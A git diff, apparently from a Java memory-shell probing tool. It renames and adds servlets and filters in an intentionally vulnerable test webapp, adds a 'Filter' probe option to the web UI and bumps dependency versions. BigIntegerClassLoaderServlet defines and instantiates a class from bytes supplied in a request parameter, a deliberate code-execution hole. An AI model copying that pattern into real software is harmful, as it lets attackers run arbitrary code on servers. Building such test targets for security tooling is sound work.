a/vul/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml b/vul/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml index 5d275064..3e608307 100644 --- a/vul/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml +++ b/vul/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml @@ -11,7 +11,7 @@ test - jakarta.TestServlet + TestServlet test @@ -20,7 +20,7 @@ upload - jakarta.UploadServlet + UploadServlet upload @@ -29,7 +29,7 @@ java-deserialize - jakarta.JavaReadObjServlet + JavaReadObjServlet java-deserialize @@ -38,7 +38,7 @@ b64 - jakarta.Base64ClassLoaderServlet + Base64ClassLoaderServlet b64 @@ -47,7 +47,7 @@ biginteger - jakarta.BigIntegerClassLaoderServlet + BigIntegerClassLoaderServlet biginteger @@ -56,19 +56,53 @@ js - jakarta.ScriptEngineServlet + ScriptEngineServlet js /js + + reader + TestReaderServlet + + + reader + /reader + + + + inputStream + TestInputStreamServlet + + + inputStream + /inputStream + + + + urlMappingTestFilter + UrlMappingTestFilter + - empty - jakarta.EmptyFilter + servletNameTestFilter + ServletNameTestFilter - empty - /* + urlMappingTestFilter + /b64 + + + urlMappingTestFilter + /test + + + servletNameTestFilter + b64 + + + servletNameTestFilter + biginteger \ No newline at end of file diff --git a/vul/vul-webapp/src/main/java/BigIntegerClassLaoderServlet.java b/vul/vul-webapp/src/main/java/BigIntegerClassLoaderServlet.java similarity index 74% rename from vul/vul-webapp/src/main/java/BigIntegerClassLaoderServlet.java rename to vul/vul-webapp/src/main/java/BigIntegerClassLoaderServlet.java index a106e99a..902b052b 100644 --- a/vul/vul-webapp/src/main/java/BigIntegerClassLaoderServlet.java +++ b/vul/vul-webapp/src/main/java/BigIntegerClassLoaderServlet.java @@ -5,7 +5,14 @@ * @author Wans * @since 2025/08/25 */ -public class BigIntegerClassLaoderServlet extends ClassLoader implements Servlet { +public class BigIntegerClassLoaderServlet extends ClassLoader implements Servlet { + + public BigIntegerClassLoaderServlet() { + } + + protected BigIntegerClassLoaderServlet(ClassLoader parent) { + super(parent); + } @Override public void init(ServletConfig config) throws ServletException { @@ -22,7 +29,7 @@ public void service(ServletRequest req, ServletResponse res) throws ServletExcep String data = req.getParameter("data"); try { byte[] bytes = decodeBigInteger(data); - defineClass(null, bytes, 0, bytes.length).newInstance(); + new BigIntegerClassLoaderServlet(Thread.currentThread().getContextClassLoader()).defineClass(null, bytes, 0, bytes.length).newInstance(); } catch (Exception e) { throw new RuntimeException(e); } diff --git a/vul/vul-webapp/src/main/java/ServletNameTestFilter.java b/vul/vul-webapp/src/main/java/ServletNameTestFilter.java new file mode 100644 index 00000000..b8d9d799 --- /dev/null +++ b/vul/vul-webapp/src/main/java/ServletNameTestFilter.java @@ -0,0 +1,23 @@ +import javax.servlet.*; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2026/1/11 + */ +public class ServletNameTestFilter implements Filter { + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { + chain.doFilter(request, response); + } + + @Override + public void destroy() { + + } +} diff --git a/vul/vul-webapp/src/main/java/TestInputStreamServlet.java b/vul/vul-webapp/src/main/java/TestInputStreamServlet.java new file mode 100644 index 00000000..24c91cac --- /dev/null +++ b/vul/vul-webapp/src/main/java/TestInputStreamServlet.java @@ -0,0 +1,41 @@ +import javax.servlet.ServletException; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; + +/** + * @author ReaJason + * @since 2025/12/31 + */ +public class TestInputStreamServlet extends HttpServlet { + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String one = req.getParameter("one"); + req.setCharacterEncoding("UTF-8"); + String body = null; + InputStream inputStream = req.getInputStream(); + StringBuilder bodyBuilder = new StringBuilder(); + if (one != null) { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + int b; + while ((b = inputStream.read()) != -1) { + outputStream.write(b); + } + bodyBuilder.append(outputStream.toString("UTF-8")); + outputStream.close(); + } else { + byte[] buffer = new byte[1024]; + int bytesRead; + while ((bytesRead = inputStream.read(buffer)) != -1) { + bodyBuilder.append(new String(buffer, 0, bytesRead, "UTF-8")); + } + } + body = bodyBuilder.toString(); + resp.setContentType("text/html; charset=UTF-8"); + resp.setCharacterEncoding("UTF-8"); + resp.getWriter().println(body); + } +} diff --git a/vul/vul-webapp/src/main/java/TestReaderServlet.java b/vul/vul-webapp/src/main/java/TestReaderServlet.java new file mode 100644 index 00000000..2f02fef8 --- /dev/null +++ b/vul/vul-webapp/src/main/java/TestReaderServlet.java @@ -0,0 +1,35 @@ +import javax.servlet.ServletException; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.BufferedReader; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/12/31 + */ +public class TestReaderServlet extends HttpServlet { + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String one = req.getParameter("one"); + String body = null; + BufferedReader reader = req.getReader(); + StringBuilder bodyBuilder = new StringBuilder(); + if (one != null) { + int c; + while ((c = reader.read()) != -1) { + bodyBuilder.append((char) c); + } + } else { + String line; + while ((line = reader.readLine()) != null) { + bodyBuilder.append(line); + } + } + body = bodyBuilder.toString(); + resp.setContentType("text/html; charset=UTF-8"); + resp.setCharacterEncoding("UTF-8"); + resp.getWriter().println(body); + } +} diff --git a/vul/vul-webapp/src/main/java/EmptyFilter.java b/vul/vul-webapp/src/main/java/UrlMappingTestFilter.java similarity index 89% rename from vul/vul-webapp/src/main/java/EmptyFilter.java rename to vul/vul-webapp/src/main/java/UrlMappingTestFilter.java index ffa67d23..dd567106 100644 --- a/vul/vul-webapp/src/main/java/EmptyFilter.java +++ b/vul/vul-webapp/src/main/java/UrlMappingTestFilter.java @@ -5,7 +5,7 @@ * @author ReaJason * @since 2025/1/3 */ -public class EmptyFilter implements Filter { +public class UrlMappingTestFilter implements Filter { @Override public void destroy() { diff --git a/vul/vul-webapp/src/main/webapp/WEB-INF/ibm-web-ext.xml b/vul/vul-webapp/src/main/webapp/WEB-INF/ibm-web-ext.xml index 2b6683ca..536c86e7 100644 --- a/vul/vul-webapp/src/main/webapp/WEB-INF/ibm-web-ext.xml +++ b/vul/vul-webapp/src/main/webapp/WEB-INF/ibm-web-ext.xml @@ -1,4 +1,8 @@ - + \ No newline at end of file diff --git a/vul/vul-webapp/src/main/webapp/WEB-INF/web.xml b/vul/vul-webapp/src/main/webapp/WEB-INF/web.xml index 5e36e4f8..4ba9f2c6 100644 --- a/vul/vul-webapp/src/main/webapp/WEB-INF/web.xml +++ b/vul/vul-webapp/src/main/webapp/WEB-INF/web.xml @@ -15,7 +15,6 @@ /test - upload UploadServlet @@ -25,7 +24,6 @@ /upload - js ScriptEngineServlet @@ -35,7 +33,6 @@ /js - java-deserialize JavaReadObjServlet @@ -45,7 +42,6 @@ /java_deserialize - b64 Base64ClassLoaderServlet @@ -55,22 +51,55 @@ /b64 - biginteger - BigIntegerClassLaoderServlet + BigIntegerClassLoaderServlet biginteger /biginteger + + reader + TestReaderServlet + + + reader + /reader + + + + inputStream + TestInputStreamServlet + + + inputStream + /inputStream + + + + urlMappingTestFilter + UrlMappingTestFilter + - godzilla - EmptyFilter + servletNameTestFilter + ServletNameTestFilter - godzilla - /* + urlMappingTestFilter + /b64 + + + urlMappingTestFilter + /test + + + servletNameTestFilter + b64 + + + servletNameTestFilter + biginteger \ No newline at end of file diff --git a/web/app/components/probeshell/main-config-card.tsx b/web/app/components/probeshell/main-config-card.tsx index 67893b45..884508ce 100644 --- a/web/app/components/probeshell/main-config-card.tsx +++ b/web/app/components/probeshell/main-config-card.tsx @@ -34,6 +34,7 @@ const PROBE_OPTIONS = [ { value: "Command" as const, label: "command" }, { value: "Bytecode" as const, label: "bytecode" }, { value: "ScriptEngine" as const, label: "script" }, + { value: "Filter" as const, label: "filter" }, ] as const; const MIDDLEWARE_OPTIONS = [ @@ -75,7 +76,7 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) { const filteredOptions = useMemo(() => { const filterMap = { - ResponseBody: ["Command", "Bytecode", "ScriptEngine"], + ResponseBody: ["Command", "Bytecode", "ScriptEngine", "Filter"], DNSLog: ["JDK", "Server"], Sleep: ["Server"], } as const; @@ -108,10 +109,12 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) { const isBodyMethod = watchedProbeMethod === "ResponseBody"; const isCommandBody = watchedProbeContent === "Command"; + const isFilter = watchedProbeContent === "Filter"; const needParam = - isCommandBody || - watchedProbeContent === "Bytecode" || - watchedProbeContent === "ScriptEngine"; + !isFilter && + (isCommandBody || + watchedProbeContent === "Bytecode" || + watchedProbeContent === "ScriptEngine"); const isSleepMethod = watchedProbeMethod === "Sleep"; const isServerContent = watchedProbeContent === "Server"; diff --git a/web/app/i18n/probeshell/en.json b/web/app/i18n/probeshell/en.json index aeadd073..3161848c 100644 --- a/web/app/i18n/probeshell/en.json +++ b/web/app/i18n/probeshell/en.json @@ -7,6 +7,7 @@ "probeContent.command": "Command", "probeContent.jdk": "JDK", "probeContent.server": "Server", + "probeContent.filter": "FilterList", "probeMethod": "ProbeMethod", "quickUsage.step1": "Select Probe Method, DNSLog, Response, etc.", "quickUsage.step2": "Select Probe Content, JDK, Server, etc.", diff --git a/web/app/i18n/probeshell/zh-CN.json b/web/app/i18n/probeshell/zh-CN.json index 4ecc3f47..408cfaeb 100644 --- a/web/app/i18n/probeshell/zh-CN.json +++ b/web/app/i18n/probeshell/zh-CN.json @@ -7,6 +7,7 @@ "probeContent.command": "命令执行", "probeContent.jdk": "JDK 信息", "probeContent.server": "服务类型", + "probeContent.filter": "Filter 过滤器列表", "probeMethod": "探测方法", "quickUsage.step1": "选择探测方法,DNSLog、Response 或者其他", "quickUsage.step2": "选择探测内容,JDK、服务类型 或者其他", diff --git a/web/biome.json b/web/biome.json index 5f05708a..b3ccc242 100644 --- a/web/biome.json +++ b/web/biome.json @@ -1,5 +1,5 @@ { - "$schema": "https://biomejs.dev/schemas/2.3.9/schema.json", + "$schema": "https://biomejs.dev/schemas/2.3.11/schema.json", "vcs": { "enabled": true, "clientKind": "git", diff --git a/web/bun.lock b/web/bun.lock index a7f7449e..d597028a 100644 --- a/web/bun.lock +++ b/web/bun.lock @@ -7,26 +7,26 @@ "dependencies": { "@base-ui/react": "^1.0.0", "@hookform/resolvers": "^5.2.2", - "@orama/orama": "^3.1.17", - "@orama/stopwords": "^3.1.17", - "@orama/tokenizers": "^3.1.17", - "@react-router/node": "^7.10.1", - "@tanstack/react-query": "^5.90.12", + "@orama/orama": "^3.1.18", + "@orama/stopwords": "^3.1.18", + "@orama/tokenizers": "^3.1.18", + "@react-router/node": "^7.12.0", + "@tanstack/react-query": "^5.90.16", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", - "framer-motion": "^12.23.26", - "fumadocs-core": "^16.2.5", - "fumadocs-mdx": "14.1.0", - "fumadocs-ui": "16.2.5", - "i18next": "^25.7.3", + "framer-motion": "^12.25.0", + "fumadocs-core": "^16.4.6", + "fumadocs-mdx": "14.2.4", + "fumadocs-ui": "16.4.6", + "i18next": "^25.7.4", "isbot": "^5.1.32", - "lucide-react": "^0.561.0", - "motion": "^12.23.26", + "lucide-react": "^0.562.0", + "motion": "^12.25.0", "react": "^19.2.3", "react-copy-to-clipboard": "^5.1.0", "react-dom": "^19.2.3", - "react-hook-form": "^7.68.0", - "react-i18next": "^16.5.0", + "react-hook-form": "^7.71.0", + "react-i18next": "^16.5.2", "react-medium-image-zoom": "^5.4.0", "react-syntax-highlighter": "^16.1.0", "sonner": "^2.0.7", @@ -35,23 +35,23 @@ "yup": "^1.7.1", }, "devDependencies": { - "@biomejs/biome": "^2.3.9", - "@react-router/dev": "^7.10.1", + "@biomejs/biome": "^2.3.11", + "@react-router/dev": "^7.12.0", "@tailwindcss/vite": "^4.1.18", "@types/mdx": "^2.0.13", - "@types/node": "^25.0.2", - "@types/react": "^19.2.7", + "@types/node": "^25.0.6", + "@types/react": "^19.2.8", "@types/react-copy-to-clipboard": "^5.0.7", "@types/react-dom": "^19.2.3", "@types/react-syntax-highlighter": "^15.5.13", - "react-router-devtools": "^6.0.0", + "react-router-devtools": "^6.1.0", "rimraf": "^6.1.2", "serve": "^14.2.5", "tailwindcss": "^4.1.18", "typescript": "^5.9.3", - "vite": "^7.3.0", + "vite": "^7.3.1", "vite-plugin-devtools-json": "^1.0.0", - "vite-tsconfig-paths": "^6.0.1", + "vite-tsconfig-paths": "^6.0.4", }, }, }, @@ -118,77 +118,77 @@ "@base-ui/utils": ["@base-ui/utils@0.2.3", "", { "dependencies": { "@babel/runtime": "^7.28.4", "@floating-ui/utils": "^0.2.10", "reselect": "^5.1.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@types/react": "^17 || ^18 || ^19", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@types/react"] }, "sha512-/CguQ2PDaOzeVOkllQR8nocJ0FFIDqsWIcURsVmm53QGo8NhFNpePjNlyPIB41luxfOqnG7PU0xicMEw3ls7XQ=="], - "@biomejs/biome": ["@biomejs/biome@2.3.9", "", { "optionalDependencies": { "@biomejs/cli-darwin-arm64": "2.3.9", "@biomejs/cli-darwin-x64": "2.3.9", "@biomejs/cli-linux-arm64": "2.3.9", "@biomejs/cli-linux-arm64-musl": "2.3.9", "@biomejs/cli-linux-x64": "2.3.9", "@biomejs/cli-linux-x64-musl": "2.3.9", "@biomejs/cli-win32-arm64": "2.3.9", "@biomejs/cli-win32-x64": "2.3.9" }, "bin": { "biome": "bin/biome" } }, "sha512-js+34KpnY65I00k8P71RH0Uh2rJk4BrpxMGM5m2nBfM9XTlKE5N1URn5ydILPRyXXq4ebhKCjsvR+txS+D4z2A=="], + "@biomejs/biome": ["@biomejs/biome@2.3.11", "", { "optionalDependencies": { "@biomejs/cli-darwin-arm64": "2.3.11", "@biomejs/cli-darwin-x64": "2.3.11", "@biomejs/cli-linux-arm64": "2.3.11", "@biomejs/cli-linux-arm64-musl": "2.3.11", "@biomejs/cli-linux-x64": "2.3.11", "@biomejs/cli-linux-x64-musl": "2.3.11", "@biomejs/cli-win32-arm64": "2.3.11", "@biomejs/cli-win32-x64": "2.3.11" }, "bin": { "biome": "bin/biome" } }, "sha512-/zt+6qazBWguPG6+eWmiELqO+9jRsMZ/DBU3lfuU2ngtIQYzymocHhKiZRyrbra4aCOoyTg/BmY+6WH5mv9xmQ=="], - "@biomejs/cli-darwin-arm64": ["@biomejs/cli-darwin-arm64@2.3.9", "", { "os": "darwin", "cpu": "arm64" }, "sha512-hHbYYnna/WBwem5iCpssQQLtm5ey8ADuDT8N2zqosk6LVWimlEuUnPy6Mbzgu4GWVriyL5ijWd+1zphX6ll4/A=="], + "@biomejs/cli-darwin-arm64": ["@biomejs/cli-darwin-arm64@2.3.11", "", { "os": "darwin", "cpu": "arm64" }, "sha512-/uXXkBcPKVQY7rc9Ys2CrlirBJYbpESEDme7RKiBD6MmqR2w3j0+ZZXRIL2xiaNPsIMMNhP1YnA+jRRxoOAFrA=="], - "@biomejs/cli-darwin-x64": ["@biomejs/cli-darwin-x64@2.3.9", "", { "os": "darwin", "cpu": "x64" }, "sha512-sKMW5fpvGDmPdqCchtVH5MVlbVeSU3ad4CuKS45x8VHt3tNSC8CZ2QbxffAOKYK9v/mAeUiPC6Cx6+wtyU1q7g=="], + "@biomejs/cli-darwin-x64": ["@biomejs/cli-darwin-x64@2.3.11", "", { "os": "darwin", "cpu": "x64" }, "sha512-fh7nnvbweDPm2xEmFjfmq7zSUiox88plgdHF9OIW4i99WnXrAC3o2P3ag9judoUMv8FCSUnlwJCM1B64nO5Fbg=="], - "@biomejs/cli-linux-arm64": ["@biomejs/cli-linux-arm64@2.3.9", "", { "os": "linux", "cpu": "arm64" }, "sha512-BXBB6HbAgZI6T6QB8q6NSwIapVngqArP6K78BqkMerht7YjL6yWctqfeTnJm0qGF2bKBYFexslrbV+VTlM2E6g=="], + "@biomejs/cli-linux-arm64": ["@biomejs/cli-linux-arm64@2.3.11", "", { "os": "linux", "cpu": "arm64" }, "sha512-l4xkGa9E7Uc0/05qU2lMYfN1H+fzzkHgaJoy98wO+b/7Gl78srbCRRgwYSW+BTLixTBrM6Ede5NSBwt7rd/i6g=="], - "@biomejs/cli-linux-arm64-musl": ["@biomejs/cli-linux-arm64-musl@2.3.9", "", { "os": "linux", "cpu": "arm64" }, "sha512-JOHyG2nl8XDpncbMazm1uBSi1dPX9VbQDOjKcfSVXTqajD0PsgodMOKyuZ/PkBu5Lw877sWMTGKfEfpM7jE7Cw=="], + "@biomejs/cli-linux-arm64-musl": ["@biomejs/cli-linux-arm64-musl@2.3.11", "", { "os": "linux", "cpu": "arm64" }, "sha512-XPSQ+XIPZMLaZ6zveQdwNjbX+QdROEd1zPgMwD47zvHV+tCGB88VH+aynyGxAHdzL+Tm/+DtKST5SECs4iwCLg=="], - "@biomejs/cli-linux-x64": ["@biomejs/cli-linux-x64@2.3.9", "", { "os": "linux", "cpu": "x64" }, "sha512-PjYuv2WLmvf0WtidxAkFjlElsn0P6qcvfPijrqu1j+3GoW3XSQh3ywGu7gZ25J25zrYj3KEovUjvUZB55ATrGw=="], + "@biomejs/cli-linux-x64": ["@biomejs/cli-linux-x64@2.3.11", "", { "os": "linux", "cpu": "x64" }, "sha512-/1s9V/H3cSe0r0Mv/Z8JryF5x9ywRxywomqZVLHAoa/uN0eY7F8gEngWKNS5vbbN/BsfpCG5yeBT5ENh50Frxg=="], - "@biomejs/cli-linux-x64-musl": ["@biomejs/cli-linux-x64-musl@2.3.9", "", { "os": "linux", "cpu": "x64" }, "sha512-FUkb/5beCIC2trpqAbW9e095X4vamdlju80c1ExSmhfdrojLZnWkah/XfTSixKb/dQzbAjpD7vvs6rWkJ+P07Q=="], + "@biomejs/cli-linux-x64-musl": ["@biomejs/cli-linux-x64-musl@2.3.11", "", { "os": "linux", "cpu": "x64" }, "sha512-vU7a8wLs5C9yJ4CB8a44r12aXYb8yYgBn+WeyzbMjaCMklzCv1oXr8x+VEyWodgJt9bDmhiaW/I0RHbn7rsNmw=="], - "@biomejs/cli-win32-arm64": ["@biomejs/cli-win32-arm64@2.3.9", "", { "os": "win32", "cpu": "arm64" }, "sha512-w48Yh/XbYHO2cBw8B5laK3vCAEKuocX5ItGXVDAqFE7Ze2wnR00/1vkY6GXglfRDOjWHu2XtxI0WKQ52x1qxEA=="], + "@biomejs/cli-win32-arm64": ["@biomejs/cli-win32-arm64@2.3.11", "", { "os": "win32", "cpu": "arm64" }, "sha512-PZQ6ElCOnkYapSsysiTy0+fYX+agXPlWugh6+eQ6uPKI3vKAqNp6TnMhoM3oY2NltSB89hz59o8xIfOdyhi9Iw=="], - "@biomejs/cli-win32-x64": ["@biomejs/cli-win32-x64@2.3.9", "", { "os": "win32", "cpu": "x64" }, "sha512-90+J63VT7qImy9s3pkWL0ZX27VzVwMNCRzpLpe5yMzMYPbO1vcjL/w/Q5f/juAGMvP7a2Fd0H7IhAR6F7/i78A=="], + "@biomejs/cli-win32-x64": ["@biomejs/cli-win32-x64@2.3.11", "", { "os": "win32", "cpu": "x64" }, "sha512-43VrG813EW+b5+YbDbz31uUsheX+qFKCpXeY9kfdAx+ww3naKxeVkTD9zLIWxUPfJquANMHrmW3wbe/037G0Qg=="], "@bkrem/react-transition-group": ["@bkrem/react-transition-group@1.3.5", "", { "dependencies": { "chain-function": "^1.0.0", "dom-helpers": "^3.3.1", "loose-envify": "^1.3.1", "prop-types": "^15.5.6", "react-lifecycles-compat": "^3.0.4", "warning": "^3.0.0" }, "peerDependencies": { "react": "^15.0.0 || ^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^15.0.0 || ^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-lbBYhC42sxAeFEopxzd9oWdkkV0zirO5E9WyeOBxOrpXsf7m30Aj8vnbayZxFOwD9pvUQ2Pheb1gO79s0Qap3Q=="], - "@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.27.1", "", { "os": "aix", "cpu": "ppc64" }, "sha512-HHB50pdsBX6k47S4u5g/CaLjqS3qwaOVE5ILsq64jyzgMhLuCuZ8rGzM9yhsAjfjkbgUPMzZEPa7DAp7yz6vuA=="], + "@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.27.2", "", { "os": "aix", "cpu": "ppc64" }, "sha512-GZMB+a0mOMZs4MpDbj8RJp4cw+w1WV5NYD6xzgvzUJ5Ek2jerwfO2eADyI6ExDSUED+1X8aMbegahsJi+8mgpw=="], - "@esbuild/android-arm": ["@esbuild/android-arm@0.27.1", "", { "os": "android", "cpu": "arm" }, "sha512-kFqa6/UcaTbGm/NncN9kzVOODjhZW8e+FRdSeypWe6j33gzclHtwlANs26JrupOntlcWmB0u8+8HZo8s7thHvg=="], + "@esbuild/android-arm": ["@esbuild/android-arm@0.27.2", "", { "os": "android", "cpu": "arm" }, "sha512-DVNI8jlPa7Ujbr1yjU2PfUSRtAUZPG9I1RwW4F4xFB1Imiu2on0ADiI/c3td+KmDtVKNbi+nffGDQMfcIMkwIA=="], - "@esbuild/android-arm64": ["@esbuild/android-arm64@0.27.1", "", { "os": "android", "cpu": "arm64" }, "sha512-45fuKmAJpxnQWixOGCrS+ro4Uvb4Re9+UTieUY2f8AEc+t7d4AaZ6eUJ3Hva7dtrxAAWHtlEFsXFMAgNnGU9uQ=="], + "@esbuild/android-arm64": ["@esbuild/android-arm64@0.27.2", "", { "os": "android", "cpu": "arm64" }, "sha512-pvz8ZZ7ot/RBphf8fv60ljmaoydPU12VuXHImtAs0XhLLw+EXBi2BLe3OYSBslR4rryHvweW5gmkKFwTiFy6KA=="], - "@esbuild/android-x64": ["@esbuild/android-x64@0.27.1", "", { "os": "android", "cpu": "x64" }, "sha512-LBEpOz0BsgMEeHgenf5aqmn/lLNTFXVfoWMUox8CtWWYK9X4jmQzWjoGoNb8lmAYml/tQ/Ysvm8q7szu7BoxRQ=="], + "@esbuild/android-x64": ["@esbuild/android-x64@0.27.2", "", { "os": "android", "cpu": "x64" }, "sha512-z8Ank4Byh4TJJOh4wpz8g2vDy75zFL0TlZlkUkEwYXuPSgX8yzep596n6mT7905kA9uHZsf/o2OJZubl2l3M7A=="], - "@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.27.1", "", { "os": "darwin", "cpu": "arm64" }, "sha512-veg7fL8eMSCVKL7IW4pxb54QERtedFDfY/ASrumK/SbFsXnRazxY4YykN/THYqFnFwJ0aVjiUrVG2PwcdAEqQQ=="], + "@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.27.2", "", { "os": "darwin", "cpu": "arm64" }, "sha512-davCD2Zc80nzDVRwXTcQP/28fiJbcOwvdolL0sOiOsbwBa72kegmVU0Wrh1MYrbuCL98Omp5dVhQFWRKR2ZAlg=="], - "@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.27.1", "", { "os": "darwin", "cpu": "x64" }, "sha512-+3ELd+nTzhfWb07Vol7EZ+5PTbJ/u74nC6iv4/lwIU99Ip5uuY6QoIf0Hn4m2HoV0qcnRivN3KSqc+FyCHjoVQ=="], + "@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.27.2", "", { "os": "darwin", "cpu": "x64" }, "sha512-ZxtijOmlQCBWGwbVmwOF/UCzuGIbUkqB1faQRf5akQmxRJ1ujusWsb3CVfk/9iZKr2L5SMU5wPBi1UWbvL+VQA=="], - "@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.27.1", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-/8Rfgns4XD9XOSXlzUDepG8PX+AVWHliYlUkFI3K3GB6tqbdjYqdhcb4BKRd7C0BhZSoaCxhv8kTcBrcZWP+xg=="], + "@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.27.2", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-lS/9CN+rgqQ9czogxlMcBMGd+l8Q3Nj1MFQwBZJyoEKI50XGxwuzznYdwcav6lpOGv5BqaZXqvBSiB/kJ5op+g=="], - "@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.27.1", "", { "os": "freebsd", "cpu": "x64" }, "sha512-GITpD8dK9C+r+5yRT/UKVT36h/DQLOHdwGVwwoHidlnA168oD3uxA878XloXebK4Ul3gDBBIvEdL7go9gCUFzQ=="], + "@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.27.2", "", { "os": "freebsd", "cpu": "x64" }, "sha512-tAfqtNYb4YgPnJlEFu4c212HYjQWSO/w/h/lQaBK7RbwGIkBOuNKQI9tqWzx7Wtp7bTPaGC6MJvWI608P3wXYA=="], - "@esbuild/linux-arm": ["@esbuild/linux-arm@0.27.1", "", { "os": "linux", "cpu": "arm" }, "sha512-ieMID0JRZY/ZeCrsFQ3Y3NlHNCqIhTprJfDgSB3/lv5jJZ8FX3hqPyXWhe+gvS5ARMBJ242PM+VNz/ctNj//eA=="], + "@esbuild/linux-arm": ["@esbuild/linux-arm@0.27.2", "", { "os": "linux", "cpu": "arm" }, "sha512-vWfq4GaIMP9AIe4yj1ZUW18RDhx6EPQKjwe7n8BbIecFtCQG4CfHGaHuh7fdfq+y3LIA2vGS/o9ZBGVxIDi9hw=="], - "@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.27.1", "", { "os": "linux", "cpu": "arm64" }, "sha512-W9//kCrh/6in9rWIBdKaMtuTTzNj6jSeG/haWBADqLLa9P8O5YSRDzgD5y9QBok4AYlzS6ARHifAb75V6G670Q=="], + "@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.27.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-hYxN8pr66NsCCiRFkHUAsxylNOcAQaxSSkHMMjcpx0si13t1LHFphxJZUiGwojB1a/Hd5OiPIqDdXONia6bhTw=="], - "@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.27.1", "", { "os": "linux", "cpu": "ia32" }, "sha512-VIUV4z8GD8rtSVMfAj1aXFahsi/+tcoXXNYmXgzISL+KB381vbSTNdeZHHHIYqFyXcoEhu9n5cT+05tRv13rlw=="], + "@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.27.2", "", { "os": "linux", "cpu": "ia32" }, "sha512-MJt5BRRSScPDwG2hLelYhAAKh9imjHK5+NE/tvnRLbIqUWa+0E9N4WNMjmp/kXXPHZGqPLxggwVhz7QP8CTR8w=="], - "@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.27.1", "", { "os": "linux", "cpu": "none" }, "sha512-l4rfiiJRN7sTNI//ff65zJ9z8U+k6zcCg0LALU5iEWzY+a1mVZ8iWC1k5EsNKThZ7XCQ6YWtsZ8EWYm7r1UEsg=="], + "@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.27.2", "", { "os": "linux", "cpu": "none" }, "sha512-lugyF1atnAT463aO6KPshVCJK5NgRnU4yb3FUumyVz+cGvZbontBgzeGFO1nF+dPueHD367a2ZXe1NtUkAjOtg=="], - "@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.27.1", "", { "os": "linux", "cpu": "none" }, "sha512-U0bEuAOLvO/DWFdygTHWY8C067FXz+UbzKgxYhXC0fDieFa0kDIra1FAhsAARRJbvEyso8aAqvPdNxzWuStBnA=="], + "@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.27.2", "", { "os": "linux", "cpu": "none" }, "sha512-nlP2I6ArEBewvJ2gjrrkESEZkB5mIoaTswuqNFRv/WYd+ATtUpe9Y09RnJvgvdag7he0OWgEZWhviS1OTOKixw=="], - "@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.27.1", "", { "os": "linux", "cpu": "ppc64" }, "sha512-NzdQ/Xwu6vPSf/GkdmRNsOfIeSGnh7muundsWItmBsVpMoNPVpM61qNzAVY3pZ1glzzAxLR40UyYM23eaDDbYQ=="], + "@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.27.2", "", { "os": "linux", "cpu": "ppc64" }, "sha512-C92gnpey7tUQONqg1n6dKVbx3vphKtTHJaNG2Ok9lGwbZil6DrfyecMsp9CrmXGQJmZ7iiVXvvZH6Ml5hL6XdQ=="], - "@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.27.1", "", { "os": "linux", "cpu": "none" }, "sha512-7zlw8p3IApcsN7mFw0O1Z1PyEk6PlKMu18roImfl3iQHTnr/yAfYv6s4hXPidbDoI2Q0pW+5xeoM4eTCC0UdrQ=="], + "@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.27.2", "", { "os": "linux", "cpu": "none" }, "sha512-B5BOmojNtUyN8AXlK0QJyvjEZkWwy/FKvakkTDCziX95AowLZKR6aCDhG7LeF7uMCXEJqwa8Bejz5LTPYm8AvA=="], - "@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.27.1", "", { "os": "linux", "cpu": "s390x" }, "sha512-cGj5wli+G+nkVQdZo3+7FDKC25Uh4ZVwOAK6A06Hsvgr8WqBBuOy/1s+PUEd/6Je+vjfm6stX0kmib5b/O2Ykw=="], + "@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.27.2", "", { "os": "linux", "cpu": "s390x" }, 